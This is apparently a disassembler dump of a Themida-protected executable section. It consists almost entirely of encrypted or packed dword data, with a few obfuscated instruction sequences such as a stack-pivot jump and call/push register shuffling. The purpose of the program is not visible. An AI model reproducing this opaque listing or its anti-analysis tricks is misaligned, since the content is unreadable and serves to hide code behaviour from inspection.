0BE360B97h, 6D6DDCFAh, 11C4A521h, 0C13A0F8Bh, 0B958D7F3h dd 2DA9F7E4h, 8B179D5Ch, 527844B6h, 26ACEAEFh, 0F162C73Eh dd 20F9F08Eh, 696EB97Dh, 62EFD823h, 43251092h, 0EF2491B3h dd 0B159DF78h, 87FC0200h, 9B5E0180h, 6445F615h, 0B36DFDFDh dd 8E8F4CF5h, 0C4C23574h, 0BA3E038Fh, 0AB2C97F6h, 5EFB7AEDh dd 0F9F01C1Dh, 38867534h, 0AA3368EDh, 15C18083h, 0F8C10A91h dd 3B2E020Fh, 124F8C9Eh, 97422704h, 0FC410009h, 30CEA772h dd 4B26BEFBh, 6005FE7Ah, 0D8401h, 0EAAE2800h, 5D599DECh dd 8408F0B1h, 0EEAC2B1Eh, 565C81E0h, 4B543348h, 0A3860C92h dd 1D6C6A38h, 7237D3DFh, 0DB9B0785h, 814C0DAAh, 9885F9F0h dd 23696E52h, 4E62EFD8h, 7EFF58DBh, 97FC18B9h, 27800FD8h dd 1FAC9E3h, 38399E01h, 0E9F9FAA9h, 66DD4992h, 0CAD00978h dd 22060BCCh, 0F30B9A3Fh, 3EA107E2h, 0D282D899h, 0F3209F7h dd 0D282A9AAh, 0BA0378F7h, 95E3CB6Ch, 6C3AAF58h, 0DC03A7EBh dd 0D502BA85h, 0DBE71352h, 12CB8A3Fh, 8E70E146h, 0CAA1F7D2h dd 0FCCD0E9Dh, 0E2398575h, 0D5307663h, 9E59771Ch, 1BBCA318h dd 0A30DD0Bh, 6D1A28A1h, 85B82669h, 5483E624h, 429C1956h dd 35F89845h, 0CBFF150h, 73650000h, 1ED6AB37h, 0CD0D7C9Ah dd 7164C5C1h, 21DAAF2Bh, 19F87793h, 4D495784h, 2BB7FDFCh dd 0F218A456h, 464C4A8Fh, 91C2679Eh, 40F9F080h, 2FAE19DDh dd 18B9C98Ah, 3C2318FCh, 18B9DA9Bh, 0AB3C0BFCh, 167533A4h dd 9190B4D9h, 0FAD6C648h, 93950201h, 0DBF1BC0Dh, 7A315576h dd 485484C7h, 7B2FB83Dh, 0A700CE06h, 0F9FAF1B6h, 3FDB106Fh dd 84028E4Ah, 577B18DEh, 0CF9377D0h, 0AED101FAh, 0FAAF4809h dd 19A299F9h, 713FBC8Dh, 0F574A12Ah, 237A46B2h, 157034A0h dd 0CB526BA0h, 0FAAFD16Eh, 0B084C2F9h, 2D51582h, 1CC4537Eh dd 7262BFCBh, 48CB3FE6h, 0FAEA6EEFh, 7A14A7F9h, 0BCCFD1C2h dd 59C6E75Ch, 95h, 22666E6Dh, 585C98DBh, 66C342CDh, 0FC18B9F5h dd 0CB76572Ch, 0F47F8E0Ch, 0EB1E8400h, 0CFD0FF68h, 25A1BA4Fh dd 18295304h, 3EBF82FCh, 0C9A23B70h, 0F36D6A44h, 8BF4549Fh dd 98E3588Ah, 0E063E653h, 0F0839377h, 0D6F7596Ch, 0FA13718Dh dd 46A39801h, 461C532h, 9ECD94F1h, 4200000Bh, 0B78A1094h dd 0EA5F7B3Fh, 4524A2EEh, 0BB8E1492h, 0D9567C42h, 2A78653Ah dd 901EDDACh, 0F9C5370Ah, 2D6B6CDDh, 0E344BDA1h, 0F9F08372h dd 6E38E2A3h, 25A42266h, 4Ch dd 22666E59h, 4D61EEDBh, 0D0C97DDAh, 4B2001FAh, 6298B42Eh dd 73D2B704h, 0B49h, 21ADE9EFh, 8A109440h, 537F43B7h, 25A1E7EEh dd 8D099744h, 0CD0E8F76h, 7366DBC7h, 1AC0A12Dh, 0C0390896h dd 9110DCFAh, 0F0830748h, 9757DEF9h, 0ABEDEFAEh, 0D4376C32h dd 0DE1B4667h, 0B984B512h, 3A5DFC18h, 4C197F06h, 5996C3EAh dd 0D80043C2h, 8B4CF3D4h, 0E85EFE0Dh, 838951Ch, 27973A05h dd 0AB000002h, 0ACB1AD0Fh, 0EA2089B8h, 2D01FAC3h, 9B351256h dd 1FEA526Bh, 8E2B5E72h, 0F8837C3Ch, 348D1857h, 0A3043B2Fh dd 0FEA5FA6Fh, 0F7B6A986h, 9647BA00h, 6F78FD08h, 0EE786120h dd 0D40483A5h, 1F38BDC8h, 0B3A431DBh, 0DD51C4BAh, 6975A27Bh dd 5CD9DF18h, 5033920h, 8AD7BECBh, 2E00000Ah, 83E6ECA8h dd 0F64B5753h, 5110BE02h, 87FAE0A6h, 35424856h, 68C714Eh dd 6C32A998h, 0D5D90366h, 397F78C9h, 0F750D19Dh, 0F9F08246h dd 6E54969Fh, 0BC3F2266h, 0A8B0D32Bh, 3314EE37h, 0FC184C02h dd 384364D3h, 0FB6E42CFh, 62AF156Eh, 14B5EB06h, 0D51B4CEDh dd 7DCA0200h, 0BCF55DCAh, 0DE7F3DB8h, 4BECA15Dh, 0F9F02B0Ah dd 96376CDBh, 0E3B1286Bh, 1B5CFD7Ch, 0CAF9F02Bh, 0BBE6C7Dh dd 7108E69Eh, 0D4F5F166h, 0C5206E6Dh, 0DC4367ECh, 12A6737Bh dd 0A2A59204h, 2B796023h, 1F429BD0h, 9C18DCDCh, 78612027h dd 80FDC338h, 0DB1E6327h, 0CA0FB6D5h, 426FA7CCh, 5530FE7Ah dd 9CC0Ah, 22669000h, 9511C5A4h, 0FCC03809h, 266493D6h dd 8E14C9B8h, 0B30CEB00h, 0EB5E444Ah, 4524A2F0h, 0BA8F0B97h dd 93537F3Dh, 8284B512h, 0D05DF9F0h, 82C544EAh, 2A735458h dd 0FC18B921h, 1422125Ch, 0B9033495h, 65D2FC18h, 0F6B9F844h dd 4922BB01h, 0FE61E0C4h, 18B91859h, 6972C9FCh, 0E6598126h dd 0B38801FAh, 810DCD8Ch, 9738399Eh, 92E9F9FAh, 5387C649h dd 8B88434Fh, 7407A0A7h, 0A9041F48h, 0EBECAFD2h, 974021ADh dd 4FDEDC1Bh, 5C54D10Eh, 0DFFE7DD5h, 933EB4Ah, 0FFF90000h dd 0AA2A1FBBh, 5981E0EEh, 0FDF84955h, 0AD2E13BFh, 0A54CFBE7h dd 31DDE318h, 9F3B8970h, 666C30AAh, 0CAD0D603h, 1D5EFB0Ah dd 34F9F085h, 2FAE8D49h, 18B9C98Ah, 40E918FCh, 0FC18B90Fh dd 0AB3C69C6h, 18B92D42h, 0DCDA1FFCh, 0ADEBEAADh, 0CD6A1D5Eh dd 0FC18B98Ch, 0C9DDEE45h, 3A2D010Eh, 0FB05229Dh, 4DFC4B01h dd 0C6CCD00Ah, 0D6357963h, 8C08Fh, 7B18B700h, 0AB77D057h dd 0F901FAD2h, 0E152F776h, 30F9FAA0h, 0A071E27Bh, 0CBA0F9FAh dd 0A8DF94F2h, 59ACF2E9h, 0C7A0CB1Ch, 0F9FAA0AAh, 0C0473FB9h dd 3FE62C0Dh, 1C6A2h, 0EAA3F00h, 3E7C71B2h, 6E8C7A43h dd 3FB12A6Ch, 1CF65BA9h, 2F7EAB33h, 0AB2A71AEh, 181B6230h dd 0CB1CA259h, 36555384h, 0DE414D8Fh, 35505E9Fh, 1B33445Ch dd 9CC9744Eh, 0F0EA5F4Bh, 57D659ACh, 181641F2h, 0A4DB90FCh dd 18165203h, 13B483FCh, 6F12325Ah, 0DCEDAB2Ch, 0AD45D255h dd 0AFE286D9h, 96EF4891h, 0FFFC183Ah, 0D39D6580h, 596597E3h dd 894D0CBDh, 47B5BC0Dh, 2247207Bh, 67FC1839h, 3FBD09FDh dd 0F8645773h, 0F5B95608h, 9AD74100h, 0B1942E7h, 73C8FC18h dd 6632A928h, 4BFE2B71h, 0BEE6FC8h, 4827FC18h, 8116AB7Fh dd 0D26793D4h, 312287B3h, 0E0FC1887h, 0EBEB5E8Bh, 0CE1F5CAFh dd 334A5883h, 3A4147B0h, 0C455DCh, 0F7A3B769h, 0B657C5E0h dd 0C6332CA4h, 3D897DE5h, 0BFFDFABEh, 8FB2EF6Ch, 5E13091Ah dd 5A27063Ch, 0DF7609DDh, 1B0FD815h, 9EEDB326h, 19083C21h dd 0FAB656B0h, 5FC2B901h, 0D81Ch, 2DC4BF31h, 82CB528Fh dd 0DD1C6D39h, 0D17BB4D7h, 6EBD01F9h, 0EB1B0EDh, 0FA0AA8A9h dd 91AE74F9h, 0C9615AE5h, 0AAD5F64Dh, 4E0FA82Bh, 5CF9FA7Bh dd 47F4179Dh, 0F25B6CDBh, 0F9FA7B45h, 0B2A30487h, 63F9FA7Bh dd 9BD0DC1Eh, 1C6FC442h, 9B27D5h, 759016C1h, 555981C0h dd 464C8F36h, 2A14B627h, 9AC4E65Ah, 0DD9D5CAAh, 0FA7BFB7Ch dd 2A5D2AF9h, 0FA7BCC8Dh, 0F12E05F9h, 5F6594D5h, 7A6EF3CCh dd 0D80544C7h, 0E6A8F1CAh, 39041803h, 0F6E54442h, 78960F74h dd 0FDFF0D7Ah, 64C544B1h, 0F7DC5FF3h, 0F2185522h, 9A98DA4Fh dd 0F03D61CBh, 0DC4FE657h, 0B403FF7h, 414D8FB2h, 505E9FDEh dd 0AED59377h, 2BABEDEFh, 62EB326Fh, 0A624E5E9h, 35965B1Dh dd 4CF3D77Ch, 21EB6CCDh, 4D3AFC18h, 7A94357Ch, 9501FA4Fh dd 53C44FDEh, 1E00324Bh, 569EC1B0h, 3982CB52h, 0DCFABE36h dd 6C2FAE16h, 97C4276Dh, 18B985B6h, 0FE2851FCh, 0F781542Bh dd 8B7B1C6Bh, 837390C6h, 48D6AF38h, 9F1E0164h, 1827393Ah dd 4A93E8FCh, 18274CE1h, 2D195FFCh, 4B127FAh, 13C7863Ah dd 0EEFF7C8Fh, 27A1h, 0EFAE8500h, 5619A2E8h, 0A6831A9Eh dd 0FC18B9B5h, 0E6EE51D0h, 655119A2h, 3DD9DD19h, 18DA55AAh dd 96DA6DFCh, 0E0FFFFFFh, 3C23696Eh, 0B95B1CBDh, 0B78AFC18h dd 0A9227945h, 4A9F6B7Ch, 9C7A1870h, 18B93A3Bh, 279CEBFCh dd 550F359Bh, 3D040788h, 55C7h, 7A18FB00h, 9AE6856h, 0FC18B948h dd 98A07E99h, 0D194AFBh, 892E51D0h, 0FC18A1C8h, 738A16C2h dd 0C6E75CFAh, 2639AEE0h, 672BAFF4h, 0DC9E03F6h, 0FC4B0CADh dd 0AD9AFC18h, 0AEA9951Ch, 0B9C98A2Fh, 17C3FC18h, 5FFB708Bh dd 5C98C7E0h, 4A709258h, 378Eh, 7A18B400h, 0B93A3B9Ch dd 9CEBFC18h, 18A12027h, 0FC18B957h, 5228B18Eh, 0B94809AEh dd 0F764FC18h, 6E94AECBh, 70842266h, 68E94EF1h, 0B9FC18B9h dd 53579FC2h, 4C3A83C8h, 0C7266A6Eh, 18B9F97Ah, 0DAAA94FCh dd 0BA206C6Ch, 18C76221h, 7AFF42FCh, 7FFFFF3h, 0A422666Eh dd 87BAAEB3h, 0FABA4422h, 0A5C0BF01h, 0FAB8A7DCh, 4232B4F9h dd 0B8DEA334h, 0F7169443h, 8522D546h, 7F52E8F1h, 2C3FE6ADh dd 10h, 0FC39AE16h, 0FD7EAFC5h, 1399821h, 4D000000h, 0A1EDEFAEh dd 0E222F18h, 0BA14BE1Bh, 80FF01FAh, 0BEFAFA65h, 0BB73B710h dd 8B71F9FAh, 27669B07h, 91D0E9B5h, 6120276Bh, 64D1347Ah dd 69D83843h, 1C6A5AE4h, 7534D2DEh, 342F0684h, 0A9AA0FC3h dd 78F9FABAh, 0C47FD603h, 0CF769513h, 0F764870Bh, 26454BB0h dd 0E1649E69h, 0E0164029h, 160A6E46h, 0E1166450h, 1A6125D1h dd 252464D1h, 0D4377562h, 55604667h, 3A840778h, 0CED7h dd 7C18EB00h, 9AE6A50h, 0FC18B975h, 3275F461h, 35A6C5C3h dd 618408F2h, 0AE17D3F4h, 56A16994h, 0A0EEEFAEh, 88B71045h dd 41D6494Fh, 8D162925h, 0A2EEEC6Bh, 4A5125Bh, 18704A26h dd 13995C7Ah, 0A8164388h, 0EFAE0F35h, 115AA1EDh, 76FB2C8h dd 47DC3D04h, 0E6000000h, 0C98A2FAEh, 18FC18B9h, 0BDA19A23h dd 1E4B5785h, 0EFAD286Bh, 0B88E5F9Ch, 0B94809AEh, 382FC18h dd 18B9B5A6h, 0DC1D6CFCh, 0C25861DEh, 2FAE4975h, 0B94A0BACh dd 0AC9BFC18h, 666E2F1Bh, 4A708422h, 2C8Eh, 0EFAEB400h dd 211AA3E7h, 0AEA30F3Dh, 18B94809h, 0CBF764FCh, 666E94AEh dd 797C3F22h, 296C1A33h, 3FB0B4FFh, 0F170D8AEh, 7841478Eh dd 0FF298E82h, 6EB4FFFFh, 0CF44FF69h, 272254D3h, 0A75093EAh dd 2DA9EFEBh, 6CD91269h, 88713037h, 0B9BA1F02h, 68FC18A8h dd 1BDCCA13h, 8A2F5276h, 1FAC9ACh, 0D69988E7h, 44F55224h dd 9DF9FA89h, 355069A6h, 0FA89D76Ch, 0B282C4F9h, 0B3A40584h dd 62F9FA89h, 5BB6B415h, 0F03FE63Fh, 30h dd 9D7B18CAh, 18B93B3Ch, 0E768F1FCh, 3EFC18B9h, 316EC541h dd 0D1A9A90Eh, 37801FAh, 0A1E29FF8h, 77F1F9FAh, 2BD5087Fh dd 0EC7A3FE6h, 4C000000h, 0D823696Eh, 0CF5E6499h, 0D2555384h dd 0B945F653h, 0A79CFC18h, 3F47F06h, 0A9E81985h, 5102A731h dd 80FC18B9h, 46D7EABh, 0FC18BD9Bh, 24A2E811h, 13169445h dd 8D2AA450h, 0FC18BDCCh, 8EF12E05h, 0B3384349h, 0A9B6032Ah dd 1AC38285h, 4EBD8394h, 0AE3E1DF2h, 5535921Dh, 8C01FA72h dd 3B703EBDh, 99B7DC9Fh, 52E8062h, 0F5040E0Dh, 85226DB8h dd 0F9FAA6D4h, 8CF9360Dh, 73E63C9Dh, 3809041Fh, 2FACFFBDh dd 0CF0C4FF2h, 0E5A4C5C1h, 95C663F5h, 4CF7DE6Bh, 3E21BAF7h dd 688AF7BDh, 0F3FE7DDEh, 28FCF96h, 0A3550000h, 4E86FBE7h dd 0FDFD4C4Ah, 0A15415B1h, 518AFF1Bh, 49284743h, 9D398774h dd 7B672DACh, 0C2C8D406h, 963C7A7Fh, 41F257AEh, 90F9F0FAh dd 6D6E29EDh, 11C6BB27h, 29461A57h, 67DC2AFFh, 763CA1E0h dd 188BB155h, 77D0577Bh, 1FAD1C7h, 9974205h, 2516B3F2h dd 0FCF9FAA1h, 15714A87h, 0CD62CF5Eh, 0DEF9FAA1h, 0A865AC98h dd 73FE62Bh, 0F5h, 961CC180h, 696E7135h, 93EAB029h, 579EED5Ah dd 828D18A6h, 708B17C3h, 49860CF1h, 0BDEE1770h, 0FBFCFC18h dd 880B8ABDh, 18BD2E2Fh, 0BF88E7FCh, 0FC18BDBEh, 0A4E81257h dd 0F9485E6Fh, 7B49B000h, 6D8E1B0Eh, 836CCA7Bh, 2693BA03h dd 0D1DD1F39h, 4244E564h, 0FD01FA49h, 56AEB4Ch, 37B6F9FAh dd 8C93D425h, 508DFA60h, 8474374Ah, 5F68ED38h, 52D5F966h dd 1FCE7AF5h, 11C98804h, 5CFD7E8Dh, 4413A84Ch, 90F6D760h dd 0A225A4DBh, 91AAF8E3h, 0F7DF28A0h, 0BEA13A71h, 337F7D3Dh dd 0DA0043C6h, 5011F5D6h, 0B498E5ABh, 0F7FE7D1Fh, 16BB392h dd 0C7310000h, 7262C7C3h, 21D9A836h, 0C530719Dh, 7566DBC7h dd 6D14A32Fh, 0F9E5AB50h, 47435188h, 2EB4F8E2h, 0F2189E5Bh dd 2516B3F2h, 0FCF9F0FDh, 6D6E75B1h, 8706BB27h, 18B93122h dd 328BE0FCh, 0C6CCCA0Fh, 23696E18h, 3D86AB3Ch, 9D1582FDh dd 5EFF5338h, 0EBFC8633h, 18D80140h, 4E1FA359h, 0FC18D40Dh dd 94326FC4h, 0E740BEA3h, 0FC18D476h, 0E03B8174h, 5B90EF6Bh dd 8B5B8324h, 0BD8A01FAh, 880ECB8Ah, 0FCBA3F02h, 1F3350A9h dd 7986CF68h, 0F04F07E2h, 79EC9B8Bh, 0E649DCFEh, 0CDh dd 0A5216593h, 0E9410C4h, 0D7F3BF3Bh, 0B9256392h, 18D13C8h dd 49B20BEAh, 0EFEA5F7Bh, 964425A1h, 3CBD8C0Ah, 156C507Eh dd 0F0FD83B4h, 0EBD352F9h, 0A58B7B18h, 0E4839AB2h, 0D958CF04h dd 0EB6F4C40h, 38814126h, 113EDFh, 0D98D702h, 10964302h dd 0F86740F5h, 2C1DB9FFh, 0FB7AEDABh, 0ED7E42B8h, 0F9F1A46Ch dd 56FDCEA5h, 0C1638909h, 0D0D60318h, 0CDCB0AB5h, 0D2A204BEh dd 0C6BEF86Eh, 9D397F78h, 1E6D2BACh, 0F75020D7h, 0DAE05B46h dd 0F46BA09Fh, 5B63D475h, 0FB2DAE0h, 0E05BA9AAh, 0D60378DAh dd 0C6806EF5h, 515780EEh, 0B408B92Eh, 768EB51Bh, 7F0B155h dd 121B7A81h, 23000000h, 766726A7h, 0B91445E2h, 76CDFC18h dd 5069E239h, 2C686E6Ah, 5B6196D9h, 575B81C0h, 404E8D34h dd 7341BA25h, 6E34A928h, 9B21D41Fh, 9519C100h, 8307CF76h dd 8956F278h, 4C681E6h, 83000000h, 343304EEh, 24343124h dd 5C243433h, 4C4168h, 242C8900h, 81E18951h, 4C1h, 4E98300h dd 5C240C87h, 50241489h, 1423BAB8h, 8913543h, 0C58946FCh dd 8124048Bh, 4C4h, 4EC8300h, 81242489h, 42404h, 505A0000h dd 9D15F9B8h, 6FC62D65h, 5E050CD4h, 3534835Bh, 0D7705C4h dd 3B045D35h, 89D00180h, 148B5828h, 0E7895724h, 4C781h dd 0C7810000h, 4, 5C243C87h db 8Bh, 2Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_4F5CCB ; --------------------------------------------------------------------------- db 0E1h dd 0D8DCF92Ah, 0EFB89133h, 305E845h, 85C650C5h, 5E20A49h dd 17256847h, 0B5FFCF38h, 5E2262Dh, 39ED858Dh, 0D0FF05E2h dd 858DD88Bh, 5E22D8Dh, 1046850h, 0D3FF0000h, 0A4985C6h dd 685305E2h, 8307F8BFh, 262DB5FFh, 858D05E2h, 5E239EDh dd 8589D0FFh, 5E8290Ch, 1CA1BD83h, 0F0005E2h, 0B84h, 19D8B00h dd 0E905E20Bh, 5, 0BBh, 1006800h, 0B58D0000h, 5E82910h dd 95FF5356h, 5E20F85h, 2910B58Dh, 0F00305E8h, 1E9h, 3E804E00h dd 9840F5Ch, 80000000h, 850F2F3Eh, 0FFFFFFEDh, 8D0006C6h dd 0E8291085h, 95FF5005h, 5E8290Ch, 72E0FF58h, 1F6B4968h dd 0A8156250h, 8A10689Eh, 0E816BCBBh, 6, 7BDBBB07h, 0FE8FD26h dd 7000000h, 0AA0AF49Ah, 0CFFAD7A3h, 56BFCE4Ch, 5A5BE83Eh dd 47CF46BEh, 6AC28174h, 0F000074h, 8Ch, 66C03300h, 34FFFA8Bh dd 66BF6610h, 8C0F5978h, 12h, 0DE9h, 0D749EB00h, 0C443050h dd 6C68720Ah, 0C181F985h, 51B3597Ah, 0B46ABB66h, 0F691F181h dd 8E96BFAh, 0BC000000h, 0EBCA7127h, 81C772C3h, 53B8F4E9h dd 0F810F3Eh, 0E9000000h, 0Ah, 1D9C0588h, 654AA9B1h, 0C89E1BBh dd 0E8F28B02h, 0Dh, 0CA1F0462h, 0F6546C29h, 3325B537h dd 0DF8157ECh, 333F4DA5h, 0E8835B5Eh, 0FE901h, 0C85F0000h dd 0FC4103F6h, 0D916F994h, 4BEECFACh, 48484805h, 815BF551h dd 0FF8C70F8h, 5F850FFFh, 0FFFFFFFh, 585h, 0CB43BB00h dd 0AE85B60h, 0CB000000h, 45A1B72Bh, 404A42B3h, 0BF6660D4h dd 8D0F1078h, 2, 5A61FB8Bh, 0DE9h, 3D33A400h, 170BD73Ah dd 9493237Ch, 0C2810026h, 5CCCh, 0FE8h, 0BC74A500h, 0CCC7AFF6h dd 36F97410h, 0C996BB94h, 17FBDFBFh, 0C4B85957h, 81676F35h dd 6F1EBEE8h, 32FFFC67h, 1C9815Bh, 8139ADB8h, 0ABCBA2EBh dd 0CFF6814Fh, 817D1C72h, 0C74B94F3h, 0FE948h, 0DD950000h dd 7DCE7Ah, 0F55A66D9h, 0A6451232h, 0F7C38145h, 0B5669182h dd 28F530Ah, 54EA81FCh, 81592BA3h, 2BA350C2h, 0F8BF0F59h dd 0F01E883h, 0FFFFAD85h, 88D0FFFh, 0F000000h, 28Eh, 8DFE8B00h dd 0E849AD8Dh, 0F88B6605h, 0BE98D89h, 31BE05E2h, 0C74EBD72h dd 0E2076185h, 736405h, 0D3B70F00h, 1B5585C7h, 5E2h, 6A0000h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h dd 0E9B87EC3h, 0B5FF0074h, 5E21CD1h, 13E8h, 83FF7900h dd 2D04A8C9h, 1417730Fh, 600D7BD8h, 4424ACh, 1A798589h dd 0FF5A05E2h, 0E20B1595h, 52006A05h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1C04h, 0C3524200h, 29ACD3C3h dd 2A32FDEEh, 68C0FACh, 8B000000h, 0E224E985h, 0FF006A05h dd 0E20AB995h, 0EBC08B05h, 5FBF0D4Ch, 90E8BD77h, 0FF20C723h dd 0D17FAE60h, 3076C568h, 0CC0BBE0Ah, 0E20E3F14h, 9D1F4D19h dd 56116E93h, 0D1F01068h, 2004BDBBh, 85835B12h, 7FFDDD16h dd 4016FE56h, 36EA7E20h, 604EB487h, 612EEBE7h, 5281C675h dd 0B173519Ah, 0A304EB27h, 0E94CB5B2h, 57Dh, 0A9357167h dd 72981CD8h, 0DBC7CB0Fh, 0AD296F66h, 75911FDCh, 558617FEh dd 0FBFE434Fh, 0A25829B5h, 48B1F01Eh, 69984442h, 0F0F38FC0h dd 1FDF46F9h, 0B029696Eh, 0ED5A93EAh, 25D4979Eh, 0DA034E9Fh dd 7E7BCED4h, 7562ED38h, 86F3BF3Dh, 0BCF8FC67h, 93632569h dd 75F4B227h, 0A3FAC632h, 0B4F5912Ah, 0ED5C7A46h, 0D958A3EFh dd 0B940F156h, 0DA91FC18h, 0C99B5E01h, 0B6711FCEh, 3D4885FEh dd 0EFEDACD5h, 306D31A9h, 1F4760D5h, 9D21DB27h, 0C1C73071h dd 40B8FBBAh, 1BAC297Ch, 189DBCB2h, 474D8CFCh, 703EBD24h dd 7A61A015h, 0A150E2E8h, 44B19D0Ah, 0AA9ADC21h, 0B88C3A56h dd 4999C71h, 72333Ah, 6E370000h, 7FD82369h, 0FC18B9C0h dd 129561E7h, 3A0413BFh, 66Ch, 2AAAED00h, 6E695D6Eh, 98DB2266h dd 0E6A2525Ch, 0E41352A9h, 0DC1C47A6h, 0D00AB5D0h, 0CD3CB9CCh dd 35798C0Ah, 93D8373h, 88CB774Fh, 0B83D484Ch, 0B10A9049h dd 0DF42468Eh, 0B97AFB5Ch, 0DCABFC18h, 7DEA1F0Bh, 0BFEAACB1h dd 0D6504492h, 0A752ECE7h, 0FEC4376Ah, 0D29D2EAFh, 7D7B6725h dd 0C4276D6Eh, 0CE5D599Dh, 344232B4h, 0A49532B5h, 7DFC18B9h dd 0B9342506h, 96EDFC18h, 0C3D10A35h, 3D7562C7h, 24AFFEBCh dd 5B90EBB1h, 2B6AB1EEh, 5CF1BFBEh, 3089D10Eh, 0A6C5C931h dd 5EECD81Eh, 0F6D7DB1Fh, 463AD70h, 7B61203Ah, 696DD437h dd 46B1F02Dh, 743A6740h, 0B7000000h, 22BB01F4h, 0E7EFAE44h dd 0A6571AA3h, 96428D18h, 0B4D7D500h, 30B3CA07h, 21A0FBC9h dd 0EC96F5B9h, 0E066DAAAh, 7B60CEA6h, 23D8A935h, 10C70E9Dh dd 97D1738Ah, 11C5689Fh, 700A3A04h, 3C000000h, 0C4276D6Eh dd 0A1595F9Dh, 6CD9E517h, 85713037h, 1EBBFA01h, 0FC18B95Dh dd 7942BFF4h, 1E8BFAD2h, 9A54E607h, 2B6F67FAh, 9D2E9BD0h dd 6895E1D5h, 0AEB6BC5Ah, 44A7EBEFh, 4B8BB617h, 0F2753C4Fh dd 0E64743B3h, 0FC18B975h, 0ADF6D7ACh, 0FC18B991h, 21685C8Ah dd 3A0413ECh, 2549DE41h, 3F4E268Dh, 0BF364C5h, 5522FC18h dd 10F74h, 6E330000h, 0E7AD2C6Ah, 0D40F8B84h, 0BC292734h dd 0B0F30A47h, 0B3A7A831h, 17EFC18h, 7A40B9B8h, 0A99DC723h dd 0F5119D5Dh, 0F8C63574h, 250916EFh, 6120A322h, 66D7367Ch dd 18B394C5h, 0D5F64DFCh, 0FAC7FA8Ch, 2B5E1501h, 0B6247268h dd 0ED5A93EAh, 0C90EB1DCh, 7562C7C3h, 0F48BD437h, 0ABF9FAA7h dd 1D5EFB7Ah, 34F9FAA7h, 10E46E7Fh, 6B7735A2h, 40DBE116h dd 78F95EC1h, 0A9F9FAA7h, 914609D2h, 8871F00Bh, 1FB8FB02h dd 0F9FAA75Eh, 8E49B8F7h, 0E741FD08h, 2445A90Fh, 0A75304A5h dd 0B582F9FAh, 0EC5A2A14h, 7B21ADEBh, 3FE631A6h, 14D05h dd 7B183900h, 0B93B3C9Dh, 9DEAFC18h, 2A982120h, 4D01FADFh dd 9FDA9B3Ch, 3C0BF9FAh, 0C695211Bh, 0FC2928BAh, 0EBB126A9h dd 5F5D9AEFh, 565485CCh, 493DBF37h, 8BBEFCFDh, 72890FC8h dd 70E146F9h, 0A1F9FAB2h, 6F15F1CAh, 3FE61EB2h, 5219h dd 79182D00h, 6993D255h, 0BE49C625h, 0C6768103h, 55AFA8E5h dd 0D67F22AFh, 91109F28h, 12BD27AEh, 0CF3F0D7Fh, 0DF1C6FA4h dd 9F286C68h, 18DBD536h, 0D4370CFCh, 18DBCA8Bh, 0CCB8A2FCh dd 0AD2F0908h, 0E4519AE1h, 0DB43C465h, 85F2FC18h, 0ACC819h dd 0AEF20000h, 5BA2E8EFh, 53F0C912h, 0CF6FC87Fh, 0DD01FAD2h dd 0A07CFD5Ah, 0D495F9FAh, 9B2C9927h, 6AD5300Fh, 0DEA32F6Dh dd 5A609919h, 52ED7AEDh, 0C05F2DD6h, 0FF58E3C4h, 0F9FA9B45h dd 0EA582C1Ah, 2823AFEDh, 0A700072Bh, 7E3218Ah, 4EF11463h dd 5D1C0389h, 428B12A0h, 1C932BC9h, 8324EF5Fh, 387E79F8h dd 377562EDh, 281C5ED4h, 88BF6D0h, 0D28BAEAFh, 0D60267F7h dd 0CD3AB3CAh, 90C5A74Ch, 9C2D6462h, 7DE2E2D2h, 0D457D649h dd 0D234C273h, 0AD2E13F7h, 1A5784E7h, 8ECB78C1h, 552209CBh dd 0FB6393D2h, 353B5C64h, 6079B65Fh, 7B18BCBAh, 0DB1B9D5Dh dd 0D21B62DFh, 34A3E265h, 2B7A1776h, 9486707Ah, 44CB1C49h dd 14C4EE3h, 0BDC8A702h, 7B47B3F2h, 2F12AB20h, 83E6ECAAh dd 6C355056h, 409E0583h, 0EA82179Ah, 2A064D02h, 22125C6Dh dd 6C6F23D4h, 5996C726h, 0A8D0CBDh, 5EB3ACADh dd 3D0E65B3h, 0B35EB33Ch, 0B3E869CEh, 4239B35Eh, 135E6FC4h dd 1A45A0E6h, 6E7A01DBh, 73DBF43Dh, 511BE706h, 0DAE01965h dd 0DCA8D3Ch, 1E4B5785h, 0F27D4E8Fh, 1D648705h, 3, 6E9DA721h dd 96D92C68h, 81C05B61h, 8D34575Bh, 0BA25404Eh, 0A9287341h dd 0D41F6E34h, 0C1009B21h, 0CF769519h, 0F2788307h, 81E38953h dd 4C3h, 4EB8100h, 87000000h, 895C241Ch, 72682404h, 8900001Fh dd 8953241Ch, 4C381E3h, 83000000h, 1C8704EBh, 2C895C24h dd 0E5BD5524h, 816D871Bh, 9ED1DCEDh, 8BEB8967h, 0C483242Ch dd 4EC8104h, 89000000h, 4812424h, 424h, 0EC835D00h, 241C8904h dd 8B08458Fh, 8953242Ch, 4C381E3h, 83000000h, 1C8704C3h dd 34FF5C24h, 0C4835B24h, 309DE904h, 5804FFFAh, 334AA798h dd 6046A30Bh, 169F296Fh, 4EF9B877h, 0C50305E8h, 4FD7E0FFh dd 92CC12F3h, 1D004DB5h, 675E35BAh, 0CD5E69CFh, 3FAC6D67h dd 378A246Bh, 0B6212DE8h, 0AC500075h, 331A4989h, 0DF98789Eh dd 0F8F978DBh, 56D242B7h, 0BFD02497h, 0BD143B66h, 6693720Dh dd 0A5B71C64h, 7F93AC6h, 23A763DAh, 0DB156F55h, 4F1778F3h dd 0C8D65A4Ch, 0EF52E65h, 9E662012h, 852E2E08h, 0B5B6567Ch dd 0E972124Fh, 337C1EF4h, 0E1CC1803h, 0AAB710D4h, 0F6084EE7h dd 0C5941A24h, 8D8D3171h, 5E850B3h, 0AD958952h, 5805E232h dd 0BE98D89h, 85C705E2h, 5E20761h, 5A3Ch, 1CE18589h, 85C705E2h dd 5E21B55h, 0 dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0A9C35242h dd 191B8763h, 800F83F4h, 4, 5BF28B51h, 325DB5FFh, 9D8905E2h dd 5E22D11h, 0B1595FFh, 6A05E2h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 170424h, 51410000h, 33474AC3h, 0DE976h, 70100000h dd 0A8D791AFh, 0BCDC7DF2h, 6A3D8B1Eh, 0B995FF00h db 0Ah, 0E2h word_552D6A dw 8B05h ; DATA XREF: Themida_:004F09C8o dd 485FEBC0h, 